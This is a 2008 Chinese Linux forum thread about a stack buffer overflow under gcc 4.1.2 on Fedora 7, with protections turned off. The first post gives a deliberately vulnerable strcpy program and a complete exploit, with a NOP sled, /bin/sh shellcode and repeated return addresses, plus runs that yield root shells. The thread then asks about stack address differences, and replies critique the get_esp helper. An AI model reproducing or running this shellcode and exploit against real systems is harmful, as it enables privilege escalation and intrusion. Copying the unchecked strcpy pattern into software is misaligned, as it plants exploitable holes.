免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2399 | 回复: 4
打印 上一主题 下一主题

一个溢出程序的疑惑(gcc 4.1.2+FC7) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-08-23 12:52 |只看该作者 |倒序浏览
一个有问题的程序:

  1. /*
  2. * test.c for test overflow under FC7 with gcc 4.1.2
  3. * you must echo "0">/proc/sys/kernel/exec-shield
  4. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
  5. */

  6. long get_esp()
  7. {
  8.    __asm__("movl %esp,%eax");
  9. }
  10. void func(unsigned char *from)
  11. {
  12.         unsigned char dest[512];
  13.         long esp;
  14.         esp = get_esp();
  15.         printf("esp : 0x%x\n",esp);//打印当前ESP内容
  16.         strcpy(dest,from);//此处溢出
  17. }
  18. int main(int argc,char *argv[]){
  19.         if(argc>1){
  20.                 func(argv[1]);
  21.         }
  22.         return 0;
  23. }
复制代码


攻击程序:

  1. /*
  2. * attacktest.c to attack test.c under FC7 with gcc 4.1.2
  3. * you must echo "0">/proc/sys/kernel/exec-shield
  4. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
  5. */
  6. #include<stdio.h>
  7. #include<stdlib.h>

  8. unsigned char shellcode[] =
  9.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  10.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  11.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  12. long get_esp()
  13. {
  14.    __asm__("movl %esp,%eax");
  15. }

  16. main(int argc,char *argv[])
  17. {
  18.         int i =0;
  19.         char *ptr;
  20.         long *addr_ptr;
  21.         long addr;
  22.         int offset=0,bsize=700;
  23.         unsigned char *buffer;

  24.         if(argc>1) bsize = atoi(argv[1]);
  25.         if(argc>2) offset = atoi(argv[2]);

  26.         addr = get_esp() - offset;
  27.         if(!(buffer=malloc(bsize))) {
  28.                 printf("no enough memory!\n");
  29.                 exit(0);
  30.         }

  31.         printf("esp : 0x%x\n",addr);//打印当前ESP内容
  32.         ptr=buffer;
  33.         addr_ptr=(long *)ptr;

  34.         for(i=0;i<bsize;i+=4)
  35.                 *(addr_ptr++)=addr;

  36.         for(i=0;i<bsize/2;i++)
  37.                 buffer[i]=0x90;

  38.         ptr=buffer+bsize/2;
  39.         for(i=0;i<strlen(shellcode);i++)
  40.                 *(ptr++)=shellcode[i];

  41.         buffer[bsize-1]='\0';

  42.         execl("./test","test",buffer,0);
  43.         free(buffer);
  44.         return 0;

  45. }
复制代码


对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):

假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950

现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:

[root@localhost muyin]# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
[root@localhost muyin]# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit

可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest[512]后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于

  1. long get_esp()
  2. {
  3.    __asm__("movl %esp,%eax");
  4. }

  5. main()
  6. {
  7.         long esp;
  8.         esp = get_esp();
  9.         printf("%x\n",esp);
  10. }
复制代码

在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468

论坛徽章:
0
2 [报告]
发表于 2008-08-25 08:29 |只看该作者

回复 #1 ruger 的帖子

anybody can help me?

论坛徽章:
0
3 [报告]
发表于 2008-08-25 22:39 |只看该作者
这个 get_esp() 是不对的。
得到的只是下栈桢的值,不是当前esp的值,得到当前esp,应该在当前处嵌入汇编

论坛徽章:
0
4 [报告]
发表于 2008-08-25 22:55 |只看该作者

回复 #3 mik 的帖子

嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:http://linux.chinaunix.net/bbs/thread-1026846-1-1.html

论坛徽章:
0
5 [报告]
发表于 2008-08-25 23:08 |只看该作者
原帖由 ruger 于 2008-8-25 22:55 发表
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:htt ...


你的程序感觉很乱,主贴又长又罗嗦, 所以,我基本没看你的贴子,只看了一眼 get_esp()

你最好把你的想法,意图清楚地表达出来
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP